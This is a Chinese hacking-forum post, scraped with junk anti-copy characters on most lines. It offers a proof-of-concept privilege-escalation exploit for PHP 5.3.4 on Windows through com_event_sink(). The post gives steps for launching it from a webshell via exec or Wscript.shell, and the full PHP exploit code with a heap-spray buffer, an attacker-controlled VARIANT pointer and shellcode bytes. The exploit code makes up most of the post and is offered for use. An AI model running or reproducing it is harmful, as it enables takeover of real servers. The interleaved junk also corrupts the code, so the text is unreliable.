|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
) q9 L3 o# a! r/ X* e1 h8 V+ m" z1 W6 G5 a% X
测试方法如下:cmd /c x:\php\php.exe x:\test.php
1 e Q0 O" F g P1 V3 y
, W6 g, t3 q( f# S* A5 Q8 F2 f下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
- Z% E; x- F' F! s这里是两个测试的截图:; o, T+ n1 @. e1 Q5 a. s* |
! m4 r t3 j( L* C# n7 E. `+ P) _5 a- f A
) M6 r7 Y6 q: N! g! O( t) f* Y' v, k* E! j# K; J
: K- Y3 r+ L: y
成功利用此漏洞的攻击者将获得系统的最高权限
. }1 I7 E* g. Y$ f6 a+ h+ F& A( O7 w4 b1 I. _; c4 G
( [ X" V9 Z+ P: N- W0 Y1 D* h& V
: d. V8 c- q: ]2 o0 U
* a) F: p7 C: l5 S m! y3 F6 _4 b
. ?5 U; b$ z1 y7 A# {& `关于漏洞分析稍后附上。一下是PoC代码:
% A1 f9 r: c/ C. Q+ o2 j( f. b7 W: ?5 R
<?php7 }- g5 }! e& U( B) x; K3 w4 b- F
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
' U- G" d3 _' n+ `//$eip ="\x44\x43\x42\x41";! i: G2 o; G8 F: K& w) P: c1 d2 G& T" T
$eip= "\x4b\xe8\x57\x78";! V# q0 ]% q8 `' s4 y8 q
$eax ="\x80\x01\x8d\x04";. H$ S7 C8 C* G% s. B7 w+ w% ]
$deodrant="";' {( Y( e& M: M6 C6 c* r, j
$axespray = str_repeat($eip.$eax,0x80);% p, }/ {4 L( ~7 c
//048d0190
0 E1 }9 j; N5 ~, F, Pecho strlen($axespray);
2 O0 s: {8 Q/ \4 r8 cecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";9 F8 J" C) @, Z: ]2 T
echo "Silic Group Hacker Army - BlackBap.Org";# b I1 @0 ?& G, T
//19200 ==4B32 4b00
. s$ A4 S. e% N1 gfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}9 c$ N+ H0 H& L: ~7 C
$terminate = "T";
0 d- Y) A! S. o1 K$u[] =$deodrant;! v8 i' S! ]$ }# R+ V& T0 L/ z+ s m
$r[] =$deodrant.$terminate;5 Q% {$ ~, Q& ^7 S! w& d. B% \/ j
$a[] =$deodrant.$terminate;2 C2 H2 N1 R, `2 F
$s[] =$deodrant.$terminate;
0 H, Q7 O6 a5 U' P+ {0 `1 }. x/ P- j//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的) m2 m/ ?0 i3 I4 |0 g
$vVar = new VARIANT(0x048d0000+180);+ M1 ?0 k4 F; I6 X* A" u# B
//弹窗代码(Shellcode)2 C7 C" p+ [* k0 t7 L
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
/ V1 ~: x. |" D1 R$var2 = new VARIANT(0x41414242);
q0 a' v* ?- F7 f5 P# Ocom_event_sink($vVar,$var2,$buffer);1 C" U j$ G' i5 C. \6 J4 w: x1 I$ V
?>- N* ?2 D/ J) R
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|